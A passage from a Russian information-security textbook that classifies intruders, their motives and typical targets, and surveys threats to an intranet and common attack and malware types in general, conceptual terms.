Для сканирования хостов на известные для УА уязвимости атакующий обычно запускает программу-сканер с хоста, с которым у него есть быстрая связь через Интернет. Чаще всего это оптоволоконное соединение.
Для сканирования компьютеров, которые работают с телефонными сетями и являются терминальными серверами (подвидом серверов удаленного доступа), досками объявлений или голосовыми почтовыми системами, атакующие используют специальные программы, автоматически сканирующие большое количество телефонных номеров на наличие соответствующего перечисленным системам программного обеспечения ("носителей систем").
И лишь небольшой процент нарушителей действительно выбирает себе жертвы и методично предпринимает попытки атак на них. Эти атакующие особенно искусны и используют изощренные методики взлома сетей. Известно, что они атакуют сети, защищенные от Интернета МЭ, зная о неопубликованных уязвимостях и особенностях этих МЭ, что помогает им атаковать внутренние хосты через сервисы, разрешенные МЭ. Сети и хосты, представляющие интерес для атакующих данного типа, обычно содержат такую конфиденциальную информацию, как отчеты об исследованиях и новых разработках или иные сведения, полезные с точки зрения взломщиков.
Также известно, что нарушители имеют доступ к информации по обнаруженным в различных средствах слабостям, о чем знают лишь консультанты по безопасности и крупные компании, занимающиеся обеспечением ИБ. Атакующие используют такие
132
Информационная безопасность открытых систем
данные для сканирования определенных целей на наличие известных для УА уязвимостей. Нарушители, которые атакуют специфические хосты, обычно очень терпеливы, и уже установлено, что перед тем, как они попытаются получить доступ к хосту или сети, они проводят долгие месяцы, собирая информацию о своих будущих жертвах.
Нарушители могут быть разделены на две категории (рис. 27).
1. Аутсайдеры (outsiders) - это внешние нарушители по отношению к открытой сети, которые атакуют внутренние сетевые ресурсы (цель - удаление информации на корпоративном веб-сервере, пересылка спэма через почтовый сервер и т. д.), часто обходя для этого средства защиты типа МЭ. Злоумышленники могут осуществлять атаки из Интернета через модемные линии, через физическое подключение к каналам связи или из сети партнеров (поставщиков, заказчиков, дилеров и т. д.).
Рис. 27. Внешние и внутренние нарушители
2. Инсайдеры (insiders) - это внутренние нарушители, находящиеся внутри сети и имеющие полный доступ ко всем ее серверам. Это пользователи, неправильно применяющие свои привилегии или исполняющие роль привилегированного пользователя (например, с привилегированного терминала). Исследования показывают, что 80 % всех атак в сетях исходит именно от инсайдеров. Заметим, что МЭ не обеспечивают зашиты от них. Внутренние злоумышленники представляют основную опасность, так как они знакомы с системой зашиты, направлением деятельности компании и могут реально оценить стоимость ресурсов корпоративной сети. В этой категории опасность представляют уволенные и обиженные сотрудники, мстящие от обиды, "продвинутые" пользователи, при каждом удобном случае желающие проде
3. Уязвимость открытых систем на примере интранета
133
монстрировать свои знания, и администраторы, которые в силу своих обязанностей знают многие секреты организации.
Какие действия чаще всего совершают внутренние злоумышленники?
Посторонние лица (у которых права в действующей ИС отсутствуют) осуществляют перехват или воздействие на информацию, передаваемую по телекоммуникационным сетям, а также квалифицированное воздействие на систему защиты и работу ИС в целом с использованием телекоммуникационных сетей.
Разработчики приложений (у которых права в действующей ИС отсутствуют) к уже названным двум действиям добавляют на этапе разработки ПО реализацию преднамеренных скрытых возможностей для последующего входа в систему или непреднамеренных ошибок.
Обслуживающий персонал (у которого права в ИС и на уровне приложений отсутствуют, но имеется доступ к техническим средствам и ПО) может вести себя как постройнее лицо, плюс получать доступ к сетевому и телекоммуникационному оборудованию, устанавливать посторонние программы и внедрять программные закладки.
Пользователи ИС - сотрудники или клиенты (права на доступ к приложениям ИС) - осуществляют перехват или воздействие на информацию, передаваемую по телекоммуникационным сетям, вносят вредоносное ПО в ИС и присваивают полномочия других пользователей (в том числе администратора).
Согласно руководящему документу Гостехкомиссии РФ "Концепция защиты средств вычислительной техники и автоматизированных систем от несанкционированного доступа к информации" в качестве внутреннего нарушителя рассматривается субъект, имеющий доступ к работе с их штатными средствами. Нарушители классифицируются по четырем уровням возможностей, предоставляемых им этими средствами. Классификация является иерархической, т. е. каждый следующий уровень включает в себя функциональные возможности предыдущего. Первый уровень соответствует самому низкому уровню возможностей - запуск задач (программ) из фиксированного набора, реализующих заранее предусмотренные функции по обработке информации. Второй уровень определяется возможностью создания и запуска собственных программ по обработке информации с новыми функциями. Третий уровень подразумевает возможность управления функционированием системы, т. е. воздействием на ее базовое ПО, состав и конфигурацию АО. Четвертый уровень определяется всем объемом возможностей лиц, осуществляющих проектирование, реализацию и ремонт технических средств системы, вплоть до включения в состав средств вычислительной техники собственных технических средств с новыми функциями по обработке информации.
Все, что случается в киберпространстве, является зеркалом реальной жизни. Нападающие взламывают сети по огромному числу различных причин, большинство из которых вне закона. Они обычно сообщают об этом своим друзьям, так как это повышает их авторитет. Одна группа злоумышленников может также конкурировать с другой группой, соревнуясь в числе успешных атак. Это очень похоже на борьбу преступных группировок в обычном мире. Вся информация о взломах из хвастовства публикуется в Интернете, где она доступна огромному числу пользователей. В их числе - преступники, другие злоумышленники, пресса, юридические и военные организации, просто интересующиеся граждане, профессионалы в области безопасности и, наконец, конкуренты по бизнесу. Другие нападающие могут заниматься взло
134
Информационная безопасность открытых систем
мами, чтобы привлечь внимание к отдельной проблеме, которую они выбрали в качестве предмета применения своих навыков и знаний. В этом случае они сами могут собирать и публиковать в Интернете фактические доказательства взломов и/или входить в контакт с прессой. Они часто протестуют против того, что многие из их единомышленников уже были пойманы и находятся в тюрьме. Есть те, кто просто подражает своим друзьям, - они протестуют против некой социальной несправедливости или борются за окружающую среду, защищают мораль и веру.
Существует еще несколько типов нарушителей: "любители веселых прогулок в чужом автомобиле" (joy riders), ради шутки показывающие всем, что они умеют; вандалы (vandals), вызывающие разрушения или оставляющие свои следы на вебстраницах; спекулянты (profiteers) или шпионы, желающие получить прибыль от своих действий, таких, как кража корпоративных данных и их продажа; охотники за промышленными секретами; просто профессиональные преступники и террористы, координирующие свою деятельность посредством Интернета. Этот список наверняка можно пополнить и другими представителями. В основном их цели сводятся к следующему:
	финансовой выгоде;
	политической выгоде - небольшой, но существенный, процент атакующих делают это по политическим соображениям, например они пытаются таким образом обратить внимание общественности на отдельную проблему (права животных, контроль за оружием, свобода слова и т. д.);
	разрушению;
	мести недовольных сотрудников;
	вызову обществу;
	самоутверждению (например, дети хотят поразить друзей своими знаниями и навыками);
	спорту — возможно, администратор хвастается защищенностью своего интранета, говоря всем, что он непроницаем; перед таким вызовом нарушитель устоять не может;
	шутке.
Попытаемся ответить на вопрос, какие ОС используют нарушители. Очевидно, что различные. Но некоторым они отдают явное предпочтение. Macintosh - это наименее вероятная платформа, поскольку еще не достаточно средств для MacOS, а таких средств различного назначения для исследования системы-жертвы и осуществления атаки требуется много. По этой причине Unix - наиболее вероятная платформа. Чаще это FreeBSD или Linux. Причина довольно очевидна - это цена. За 39 долл, за книгу по Linux (с CD-ROM) атакующий получает все необходимые средства: С, C++, Smalltalk, Perl и многое другое. Кроме того, он получает полный исходный код ОС (в первую очередь это касается свободно распространяемых Linux и FreeBSD). Unix-платформы нетребовательны в отношении ресурсов. Часто используется Solaris или SCO. Они лицензированы, и их легко приобрести. Для платформ Microsoft есть много законных средств администирирования и защиты, которые могут использоваться и для удаленной атаки на серверы. Для своего применения они не требуют особых навыков и знаний. Поэтому все больше атакующие используют именно их.
Теперь определим, к каким сферам человеческой деятельности относятся организации, чаще всего становящиесся объектом атак злоумышленников.
3. Уязвимость открытых систем на примере интранета
135
Компьютерные сети используются в организациях каждый день (типовая схема современной сети приведена на рис. 28). Они обеспечивают пользователям совместное и эффективное применение огромных массивов данных. Обычно при проектировании и реализации сети организации не учитываются аспекты обеспечения ИБ. Принимается во внимание лишь функциональность и эффективность сети, что, конечно же, самое главное с точки зрения самого бизнеса. Вопросы защиты информации, как правило, встают уже несколько позже, что в дальнейшем на практике может стоить миллионов долларов.
Центральный офис
Серверный комплекс Web/FTP-серверы
Рабочие станции
Серверы Рабочие станции
Почтовый
Сервер Рабочие станции
Сервер Рабочие станции
Абоненты системы
Абоненты системы
Подразделения 2 уровня
Почтовый
сервер
Мобильные
пользователи
Открытые
сети
Интернет)
Выделенные
сети
передачи
Рис. 28. Типовая схема сети современной организации
Подразделения 1 уровня
Подразделения 2 уровня
Клиенты и партнеры
Подразделения 1 уровня
Наиболее частым попыткам осуществления атак подвергаются следующие организации [41]:
	финансовые учреждения и банки;
	сервис-провайдеры Интернета;
	фармацевтические компании;
	правительственные и оборонные предприятия;
	партнеры и заказчики различных правительственных учреждений и агентств;
	международные корпорации.
136
Информационная безопасность открытых систем
Хотя большинство подобных атак на интранет осуществляется изнутри (пользователями, которые уже имеют авторизированный доступ к каким-либо подсистемам корпоративных и секретных сетей), рассмотрим методы, употребляемые для взлома открытых сетей полностью извне.
Финансовые учреждения и банки подвергаются атакам с целью совершения мошенничества. Многие банки были атакованы именно по этой причине, понеся при этом большие финансовые потери. Банки строят свою политику на недопущении того, что они могут стать жертвами подобных внешних атак, иначе, если об атаках станет известно широкой общественности, они потеряют клиентов и их доверие.
Сервис-провайдеры (СП) Интернета - это обычная цель злоумышленников, так как серверы СП легко доступны из Интернета (они обладают IP-адресами, "видимыми" в Интернете). Кроме того, СП имеют большое количество оптоволоконных соединений, которые могут быть использованы нарушителями для перемещения существенных объемов информации по Интернету. Крупные СП ведут у себя БД своих клиентов, часто содержащие такую конфиденциальную информацию о пользователях, как номера их кредитных карточек, имена и адреса.
Фармацевтические компании становятся жертвами преимущественно промышленного шпионажа, когда группе взломщиков за получение фармацевтической информации (например, о фирмах, производящих лекарственные препараты, их разработках и новых исследованиях) платят солидные суммы. При утечке подобных данных возможны значительные потери для организаций, о которых взломщикам удалось получить соответствующие сведения.
В 1998-1999 гг. правительственные и оборонные предприятия США испытали на себе буквально миллионы атак, исходящих из Интернета. Из-за низких ассигнований на обеспечение ИБ и достаточно слабых ПБ защита информации в таких организациях стала настоящем полем битвы, где злоумышленники пробовали взломать правительственные и военные серверы.
Заказчики различных оборонных учреждений, хотя и сознающие необходимость защиты, представляют для взломщиков интерес с точки зрения получения доступа к классифицированной или секретной военной информации. Эта информации может быть "перепродана" взломщиками заинтересованным в этом зарубежным организациям. Хотя такие случаи, о которых стало общеизвестно, можно пересчитать по пальцам, подобные действия могут иметь место и к ним нужно быть готовыми.
Международные корпорации - это основные жертвы попыток осуществления промышленного шпионажа. Они имеют разбросанные по всему миру офисы, для связи которых создаются большие корпоративные сети, обеспечивающие возможность эффективного совместного разделения сетевых ресурсов всеми служащими этих корпораций. Как показывают многочисленные тесты различных организаций, и в том числе Network Security Solutions Ltd., многие из таких международных организаций уже подверглись атакам взломщиков и таким образом были взломаны.
Подобно фармацевтическим компаниям, международные корпорации, работающие в области электроники, ПО или в близких к компьютерам сферах, расходуют миллионы долларов на исследования и разработку новых технологий. Для конкурентов этих корпораций очень соблазнительно нанять группу взломщиков для получения подробных сведений о деятельности корпорации-"жертвы". Похищенная таким способом информация далее может быть использована для быстрой и простой реали
3. Уязвимость открытых систем на примере интранета
137
зации знаний конкурентов о новых ключевых технологиях, что повлечет за собой для них большие потери из-за упущенной прибыли.
Другая форма атак, принятых среди конкурентов, заключается в постоянном контроле ("опеке") за интранетом в течение определенного времени и утечке ценной информации, что в конечном счете приведет к снижению прибыли организации. В большинстве случаев достаточно сложно установить и локализовать источник такой атаки. В зависимости от внутренней сегментации сети данный вид атак может быть очень эффективен и приведет к большим финансовым потерям.
В современном сетевом сообществе такая "нечестная игра" не является чем-то необычным и для достижения успеха должна вестись серьезными методами.
Подводя итог, можно сказать, что типичной жертвой атак является интранет небольшой организации, где чаще всего вопросы экономии распространяются и на оплату затрат на приобретение и установку средств защиты. Экономия на безопасности может сказаться серьезными последствиями для жизнеспособности интранета.
Рано или поздно можно обнаружить, что произошло нарушение ИБ интранета, проявившееся тем или иным образом. Известно, что атаки на интранет могут принимать самые разнообразные формы. Какое-либо неординарное происшествие в интранете должно дать повод для размышлений системному администратору, и конечно, что-либо вызвавшее проблемы или повреждения должно быть немедленно проанализировано. Это может быть, например, запуск странного или неизвестного процесса, который использует большую часть процессорного времени, регистрация в системе постороннего пользователя, вирус или попытка проникновения в систему пользователя с удаленного компьютера.
3.2.	Угрозы ресурсам интранета и причины их реализации
Угрозы осуществляются на практике в результате стечения случайных обстоятельств (ошибки, пропуски, сбои электроэнергии, природные бедствия) либо из-за преднамеренных действий злоумышленников. Общепринятой классификации угроз безопасности пока не существует. Возможна классификация по следующим признакам:
1)	цели реализации (цели могут быть связаны, например, со свойствами конфиденциальности, целостности и доступности информации, которые собирается нарушить злоумышленник, или с расширением прав доступа и получением полного контроля над работой компьютера пользователя или определенным сервером);
2)	принципу воздействия на систему (например, взлом парольной защиты или нападение на основе сетевого протокола);
3)	характеру воздействия на систему (например, пассивный перехват трафика или активная подмена данных);
4)	причине появления используемой ошибки защиты (например, из-за отсутствия средств обнаружения вторжений, неправильной настройки средств защиты или неус-тановки защищающих обновлений);
5)	объекту атаки (например, данные, программы, сетевое обеспечение);
6)	используемым средствам атаки;
138
Информационная безопасность открытых систем
7)	состоянию объекта атаки (например, явное изменение состояния или отсутствие каких бы то ни было изменений, так как осуществляется лишь пассивный перехват входящих и исходящих пакетов или почтовых сообщений);
8)	по источнику угроз и т. п.
Чуть подробнее рассмотрим последнюю классификацию, так как каждая угроза обязательно имеет свой источник. Их можно разделить на три класса [http://www. c-news.ru/oldcom/security/elvis_class.shtml].
1.	Антропогенные:
• внешние: криминальные структуры; потенциальные преступники и хакеры; недобросовестные партнеры; технический персонал поставщиков телематических услуг; представители надзорных организаций и аварийных служб; представители силовых структур;
 внутренние: основной персонал (пользователи, программисты, разработчики); представители службы защиты информации (администраторы); вспомогательный персонал (уборщики, охрана); технический персонал (жизнеобеспечение, эксплуатация).
2.	Техногенные:
• внешние: средства связи; сети инженерных коммуникаций (водоснабжение, канализация); транспорт;
 внутренние: некачественные технические средства обработки информации; некачественные программные средства обработки информации; вспомогательные средства (охрана, сигнализация, телефония); другие технические средства, применяемые в учреждении.
3.	Стихийные (чаще всего внешние): пожары; землетрясения; наводнения; ураганы; магнитные бури; радиоактивное излучение; различные непредвиденные обстоятельства; необъяснимые явления; другие форсмажорные обстоятельства.
Согласно ставшему уже классическим подходу для информации вообще выделяются три вида угроз, связанные с ее основными свойствами.
1.	Угрозы конфиденциальности (конфиденциальность - защищенность информации от несанкционированного ознакомления с нею, подразумевающая некоторую классификацию данных, получение либо использование которых неавторизованными для этого лицами может стать причиной серьезного ущерба для владельцев или пользователей этой информации); примеры угроз: хищение (копирование) информации и средств ее обработки, утрата (неумышленная потеря, утечка) информации и средств ее обработки.
2.	Угрозы целостности (целостность - состояние, при котором данные, представленные в компьютере, в точности соответствуют данным в исходных документах и при этом не могут быть подвержены неумышленным или умышленным искажениям или разрушениям; информация может пострадать от сознательных действий злоумышленника, от ошибок персонала, от пожара, аварий и др.); примеры угроз: модификация (искажение) информации, отрицание ее подлинности, навязывание ложной информации.
3.	Угрозы доступности (доступность - возможность за приемлемое время получить требуемую информационную услугу, причем наличие системы безопасности не должно создавать помех нормальной работе системы); примеры угроз: блокирование информации; уничтожение информации и средств ее обработки.
3. Уязвимость открытых систем на примере интранета	139
Общую классификацию угроз интранету можно представить следующим образом.
1.	Угрозы конфиденциальности данных и программ. Реализуются при несанкционированном доступе (НСД) к данным, программам или каналам связи. Полезная информация также может быть получена и при перехвате электромагнитного излучения, создаваемого аппаратурой системы. Определенные сведения о работе системы дает и наблюдение за характером процесса обмена сообщениями (трафиком) без доступа к их содержанию.
2.	Угрозы целостности данных, программ, аппаратуры. Целостность данных и программ нарушается при несанкционированном уничтожении, добавлении лишних элементов и модификации данных, изменении порядка расположения данных, формировании фальсифицированных платежных документов в ответ на законные запросы, активной ретрансляции сообщений с их задержкой. Повреждение, похищение или незаконное изменение алгоритмов работы аппаратуры приводит к нарушению ее целостности.
3.	Угрозы доступности данных. В случае их реализации объект (пользователь или процесс) не получает доступа к законно выделенным ему службам или ресурсам. Происходит захват всех ресурсов, блокирование линий связи несанкционированным объектом в результате передачи по ним своей информации или стирание необходимой системной информации. Возникает ненадежность или плохое качество обслуживания в системе, и, следовательно, падает достоверность и своевременность доставки платежных документов.
4.	Угрозы отказа от выполнения транзакций. Если легальный пользователь выполняет в системе транзакции (передает или принимает платежные документы), а затем отрицает свое участие в них, чтобы снять с себя ответственность, тогда и реализуется данный вид угроз.
Перечислим некоторые наиболее распространенные проявления угроз ИБ.
Несанкционированный доступ - получение пользователем или другим субъектом (например, процессом) доступа к объекту, на который у него нет разрешения в соответствии с принятой в организации ПБ.
Незаконное использование привилегий. Злоумышленники, применяющие данный способ атаки, обычно используют штатное ПО, заставляя его функционировать в нештатном режиме. Незаконный захват привилегий возможен либо при наличии ошибок в самой системе защиты или платформах вычислительных средств, либо в случае халатности при управлении системой и привилегиями или неправильном конфигурировании ПО и аппаратных средств.
Атаки-"салями" (salami attack) более всего характерны для систем, обрабатывающих денежные счета, в том числе для банков. Принцип атак построен на том, что при обработке счетов используются целые единицы (рубли, копейки, центы), а при исчислении процентов получаются дробные суммы. Результаты округления после арифметических операций прибавляются к значению некоторого элемента БД (например, к сумме, хранящейся на личном счету злоумышленника).
Скрытые каналы - пути передачи информации между процессами системы, нарушающие системную ПБ. В среде с разделением доступа к информации пользователь может не получить разрешение на обработку интересующих его данных, однако может придумать для этого обходные пути. Скрытые каналы можно реализовать раз
140
Информационная безопасность открытых систем
личными путями, в частности при помощи программных закладок ("троянских коней") или используя современные технологии программирования типа Java.
"Маскарад" - выполнение каких-либо действий одним пользователем интранета от имени другого пользователя с последующим присвоением его прав и привилегий. Такая атака в банковских системах электронных платежей при неправильной идентификации клиента может привести к серьезным последствиям. Особенно это касается платежей с помощью пластиковых карт. Сам по себе метод идентификации с помощью персонального идентификатора (ПИН-кода) достаточно надежен, нарушения могут происходить вследствие ошибок его применения, например в случае утери пластиковой карты, при использовании очевидного идентификатора (своего имени, ключевого слова и т. д.).
"Сборка мусора" (garbage collection). "Мусор" - это память, более не используемая программой, т. е. та, на которую в программе нет ссылок. В процессе сборки мусора выделенная ранее память пересматривается с целью обнаружения неиспользуемых фрагментов, а высвобожденная память передается для повторного использования. В результате этой проблемы управления памятью после окончания работы некоторых программ обрабатываемая информация не всегда полностью удаляется из памяти ПК. Данные хранятся на носителе до перезаписи или уничтожения; при выполнении этих действий на освободившемся пространстве диска находятся их остатки. С помощью специальных программ и оборудования и осуществляется так называемая сборка мусора. Для защиты используются специальные механизмы, примером которых является стирающий образец. Или при наличии соответствующих технических возможностей может применяться "принудительная очистка" (перезапись произвольной константой) освобождаемых областей памяти на магнитных и иных носителях, ранее использованных для хранения защищаемых информационных ресурсов.
Взлом системы - умышленное проникновение в систему с несанкционированными параметрами входа, т. е. именем пользователя и его паролем, иногда даже обходя такое средство защиты, как программа входа. Алгоритм ввода имени и пароля, их шифрование, правила хранения и смены паролей не должны содержать ошибок.
"Люки" - скрытые, ^задокументированные точки входа в ПО. "Люки" относятся к категории угроз, связанных с ошибками реализации какого-либо проекта (системы в целом, комплекса программ и т. д.). Злоумышленник может разыскать их во время случайного поиска.
Вредоносные программы - специально созданные программы для воздействия на вычислительную систему. Они прямо или косвенно дезорганизуют процесс обработки информации или способствуют утечке или искажению информации. Назовем некоторые конкретные реализации подобных программ.
	Вирус (viruses) - программа, способная заражать другие программы, модифицируя их так, чтобы они включали в себя копию вируса. Вирус создает свои дубликаты, не обязательно совпадающие с оригиналом. Дубликаты сохраняют способность к дальнейшему распространению.
	"Троянский конь" (Trojan horses) - программа, которая приводит к неожиданным (и обычно нежелательным) результатам. Она способна раскрыть, изменить или уничтожить данные или файлы. Обычно такие программы встраивают в программы широкого пользования, например в программы обслуживания сети, электронной почты. Их обнаруживают антивирусные средства и специальные системы
3. Уязвимость открытых систем на примере интранета
141
управления доступом. В "Оранжевой книге" ведется постоянно обновляемый список известных программ этого рода.
	"Червь" (worm) - программа, распространяемая в системах и сетях по линиям связи. По способу распространения выделяют почтовые черви (для рассылки своих копий используют на инфицированном компьютере почтовый клиент и адресную книгу или прямые соединения с SMTP-сервером, а также уязвимости в почтовых клиентах или в их общих с браузером компонетах), LAN-черви (распространяются через общие ресурсы локальных сетей), Peer-to-Peer-черви (распространяются через общедоступные каталоги пользователей этих сетей), IntemetRelayChat (или кратко IRQ-черви со смешанным механизмом проникновения, exploit-черви (распространяющиеся из-за различных уязвимостей в системах) и т. д.
	"Жадная" программа (greedy program) - программа, которая захватывает (монополизирует) отдельные ресурсы вычислительной системы, не давая другим процессам возможности их использовать.
	"Захватчик паролей" (password grabber) - программа, предназначенная для распознавания паролей. Например, она выводит на экран терминала специальные заставки типа пустого экрана или экрана, появляющегося после крушения системы. А далее при попытке повторного запуска системы имитируется запрос на ввод имени и пароля, которые запоминаются в соответствующем файле.
	"Бактерия" (bacteria) - программа, порождающая свои копии и перегружающая память ПК и процессор.
	"Логическая бомба" (logic bomb) - программа, приводящая к повреждению файлов или компьютеров (от искажения данных до полного их уничтожения). Логическую бомбу вставляют, как правило, во время разработки программы, а срабатывает она при выполнении некоторого условия (время, дата, кодовое слово).
	"Лазейки" (trapdoors) - точки входа в программу, открывающие доступ к некоторым системным функциям. Обнаруживаются они при анализе работы программы.
Анализ всего комплекса угроз и оценка последствий их реализации составляет одну из первых задач сотрудников, ответственных за безопасность. Оценка уязвимости интранета предполагает изучение всех комбинаций реализации перечисленных угроз и последствий, к которым они приводят. По мере совершенствования средств и методов защиты компьютерных систем злоумышленниками создаются новые, весьма изощренные способы их преодоления. Приведем здесь перечень наиболее вероятных случайных происшествий и злоумышленных действий, которые важны при оценке степени уязвимости любого интранета.
1.	Происшествия, связанные с техническими причинами:
	выход из строя дискового накопителя с повреждением диска;
	отказы, вызванные ошибками в ПО;
	повреждение магнитных носителей;
	отказы электронных схем компьютеров и периферийного оборудования;
	нарушения в сети электропитания: перенапряжение, импульсные выбросы, аварийное отключение электропитания;
	воздействие статического электричества;
	ошибки при передаче данных по каналам связи;
	повреждения кабелей связи при строительных работах.
142
Информационная безопасность открытых систем
2.	Происшествия, связанные со стихийными бедствиями:
	пожар;
	затопление при аварии водопровода, отопления или канализации;
	разрушение ветхих элементов конструкции здания;
	прямое попадание молнии или наводка импульсных токов во время грозы.
3.	Происшествия, связанные с ненамеренными действиями людей:
	случайное заражение компьютера вирусом при использовании посторонней программы - игры, учебного пакета и т. п.;
	ошибочные действия малоквалифицированного персонала при профилактике, техническом обслуживании или ремонте;
	ненамеренное повреждение аппаратуры в результате случайных действий безответственных лиц, например обрыв соединительного кабеля или повреждение аппаратуры при неосторожном поведении в помещении, где установлена система;
	ошибочные действия оператора при работе, приводящие к разрушению данных;
	неправильное обращение с гибкими дисками или другими магнитными носителями при их использовании или хранении.
4.	Злоумышленные действия людей:
	проникновение в систему через внешний (например, телефонный) канал связи с присвоением полномочий одного из легальных пользователей с целью подделки, копирования или уничтожения данных (реализуется угадыванием либо подбором паролей, выявлением паролей и протоколов через агентуру в организации, перехватом паролей при негласном подключении к каналу во время сеанса связи, дистанционным перехватом паролей в результате приема электромагнитного излучения);
	проникновение в систему через телефонную сеть при перекоммутации канала на модем злоумышленника после вхождения легального пользователя в связь и предъявления им своих полномочий с целью присвоения прав этого пользователя на доступ к данным;
	копирование информации и паролей при негласном пассивном подключении к кабелю интранета или при приеме электромагнитного излучения сетевого адаптера;
	выявление паролей легальных пользователей при негласном активном подключении к коммуникационной сети при имитации запроса сетевой ОС;
	анализ трафика при пассивном подключении к каналу связи (с помощью так называемых снифферов, перехватчиков, от англ, snffer) или при перехвате электромагнитного излучения аппаратуры для выявления протоколов обмена;
	подключение к каналу связи в качестве активного ретранслятора для фальсификации документов, изменения их содержания, порядка следования, повторной передачи, доставки с задержкой или упреждением;
	блокировка канала связи собственными сообщениями, вызывающая отказ в обслуживании легальных пользователей;
	отказ абонента от факта приема (передачи) документов или формирование ложных сведений о времени приема (передачи) сообщений для снятия с себя ответственности за выполнение этих операций;
	формирование ложных утверждений о полученных (переданных) документах;
	скрытая несанкционированная передача конфиденциальной информации в составе легального сообщения для выявления паролей, ключей и протоколов доступа;
3. Уязвимость открытых систем на примере интранета
143
	незаконное объявление пользователем себя другим пользователем (маскировка) для нарушения адресации сообщений или возникновения отказа в законном обслуживании;
	сбор и анализ использованных распечаток, документации и других материалов для копирования информации или выявления паролей, идентификаторов, процедур доступа и ключей;
	визуальный перехват информации, выводимой на экран дисплеев или вводимой с клавиатуры для выявления паролей, идентификаторов и процедур доступа;
	негласная переработка оборудования или ПО на фирме-изготовителе, фирме-поставщике, в месте складирования или в пути следования к заказчику с целью внедрения средств НСД к информации извне (программ-перехватчиков и "троянских коней", аппаратуры вывода информации и т. п.), а также уничтожение информации или оборудования (например, с помощью вирусов, ликвидаторов с дистанционным управлением или замедленного действия и т. п.);
	разрушение информации или создание сбоев в интранете с помощью вирусов для дезорганизации деятельности организации (реализуется загрузкой вирусов в нерабочее время, подменой игровых программ, используемых сотрудниками в рабочих помещениях, или вручением сотруднику "подарка" в виде новой компьютерной игры или другой занимательной программы);
	похищение оборудования, в том числе отдельных плат, дисководов, дорогостоящих микросхем, кабелей, дисков, лент, с целью продажи, что влечет за собой потерю работоспособности системы, а иногда и уничтожение данных;
	похищение магнитных носителей с целью получения доступа к данным и программам;
	разрушение оборудования, магнитных носителей или дистанционное стирание информации (например, с помощью магнитов);
	считывание информации с жестких и гибких дисков (в том числе и остатков "стертых" файлов), магнитных лент при копировании данных с оборудования на рабочих местах в нерабочее время, при копировании данных с использованием терминалов, оставленных без присмотра в рабочее время;
	копирование данных с магнитных носителей, оставленных на столах или в компьютерах; копирование данных с оборудования и магнитных носителей, убранных в специальные хранилища, при их вскрытии или взломе;
	внесение изменений в данные и программы для подделки и фальсификации документов при включении системы во время негласного посещения в нерабочее время; использование оставленного без присмотра оборудования в рабочее время; внесение изменений в данные, записанные на оставленных без присмотра магнитных носителях;
	установка скрытых передатчиков для вывода паролей с целью копирования данных или доступа к ним по легальным каналам связи с интранетом в результате негласного посещения в нерабочее время, посещения с целью ремонта, настройки, профилактики оборудования или отладки ПО, скрытой подмены элементов оборудования при оставлении их без присмотра в рабочее время;
	установка ликвидаторов замедленного действия или с дистанционным управлением (программных, аппаратных или аппаратно-программных с исполнительным
144
Информационная безопасность открытых систем
механизмом взрывного, химического, электрического или вирусного действия) с целью уничтожения информации или оборудования;
	несанкционированное изменение своих полномочий на доступ или полномочий других пользователей в обход механизмов защиты;
	внесение изменений в базу данных или в отдельные файлы в пределах выделенных полномочий для подделки или уничтожения информации.
Анализ угроз должен включать в себя:
	оценку характера и ценности информации, хранящейся в системе;
	построение модели злоумышленника, т. е. оценку того, от кого нужно защищаться - от постороннего лица, пользователя системы, администратора и т. д.;
	выделение наиболее опасных угроз для хранящейся в системе информации (несанкционированное чтение или изменение и т. д.);
	оценку затрат времени и средств на вскрытие системы, допустимых для злоумышленников;
	оценку допустимых затрат времени, средств и ресурсов системы на организацию ее защиты.
При анализе угроз, вызванных злоумышленными действиями, целесообразно выяснить их мотивы, цели и последствия, а также определить круг потенциальных инициаторов (субъектов) таких действий. Основными нарушителями могут быть сотрудники (нынешние и бывшие) и клиенты организаци, конкуренты и конкуренты клиентов. Согласно статистике компьютерных преступлений основным их мотивом оказывается незаконное обогащение, а чаще всего в качестве субъектов преступлений выступают сотрудники (бывшие сотрудники). Значительно реже встречаются такие причины, как месть обиженных сотрудников или завоевание престижа среди определенной группы лиц.
При анализе способов осуществления злоумышленных действий следует различать субъекта действий и конкретных исполнителей. Так, для шпионажа или диверсии в роли агентов выступают сотрудники банка, его клиенты, обслуживающий персонал из внешних организаций, просто посторонние, т. е. все те лица, которые могут получить доступ к интранету или его элементам.
По характеру исполнения злоумышленные действия делятся на три вида:
1)	действия, не связанные с проникновением исполнителей в помещения, где расположены компоненты интранета;
2)	действия с единичными проникновениями исполнителей в помещения:
•	открытые - под видом посетителей, сотрудников коммунальных служб (уборщики, водопроводчики, телефонисты, электрики) и т. п.;
•	негласные - в выходные дни или ночью;
3)	действия, которые предусматривают наличие исполнителей в среде сотрудников, клиентов или поставщиков оборудования, постоянно работающих в помещениях, а также постоянного обслуживающего персонала.
Некоторые компьютерные преступления сочетают сразу несколько видов злоумышленных действий. Например, агент из постоянного обслуживающего персонала проводит разведку и добывает дубликаты ключей или кодовых комбинаций замков помещений, документацию, информацию о системе защиты; негласное посещение специалистов позволяет получить пароли доступа к интранету, а само злоумышлен
3. Уязвимость открытых систем на примере интранета
145
ное действие по уничтожению, искажению или копированию информации выполняется извне.
Причин, позволяющих злоумышленникам реализовывать свои нападения на открытые сети, существует очень много. Программное и аппаратное обеспечение, создаваемое людьми, всегда имеет ошибки и уязвимости. Системные администраторы и программисты никогда не могут отследить и исключить все возможные сетевые проблемы. Нарушителю же для осуществления атаки часто достаточно найти хотя бы одну лазейку, позволяющую ему проникнуть внутрь сети, а далее с помощью специальных средств расширить эту зону проникновения для доступа к интересующим его информационным или сетевым ресурсам.
Действия злоумышленников часто достигают цели в связи с тем, что в подавляющем большинстве организаций эксплуатируются однотипные стандартные вычислительные средства (IBM-совместимые компьютеры, локальные сети с одним и тем же ПО, программы автоматизации деятельности, написанные на стандартных языках программирования), которые хорошо документированны, а обнаруженные в них лазейки подробно описаны в Интернете. Простейшие механизмы защиты практически всего ПО легко обходятся. Проблемы создает также и возросшая компьютерная грамотность сотрудников, клиентов и партнеров. И еще одно важное обстоятельство. Безопасность современных сетей - это не только защита от хищений. Отказ от обслуживания клиента или несвоевременное предоставление ему важной информации из-за неработоспособности хранящей ее системы по своим последствиям равноценны потере информации (несанкционированному ее уничтожению).
Опросы, проводимые в организациях, выявили ряд общих проблем, устранение которых позволит повысить защищенность открытых систем. Их можно сгруппировать по основным категориям обслуживающего работу сетей персонала и пользователей этих сетей.
Ошибки, которые чаще всего допускают конечные пользователи:
	открывают приложения к электронным письмам, не проверяя предварительно их содержание или код;
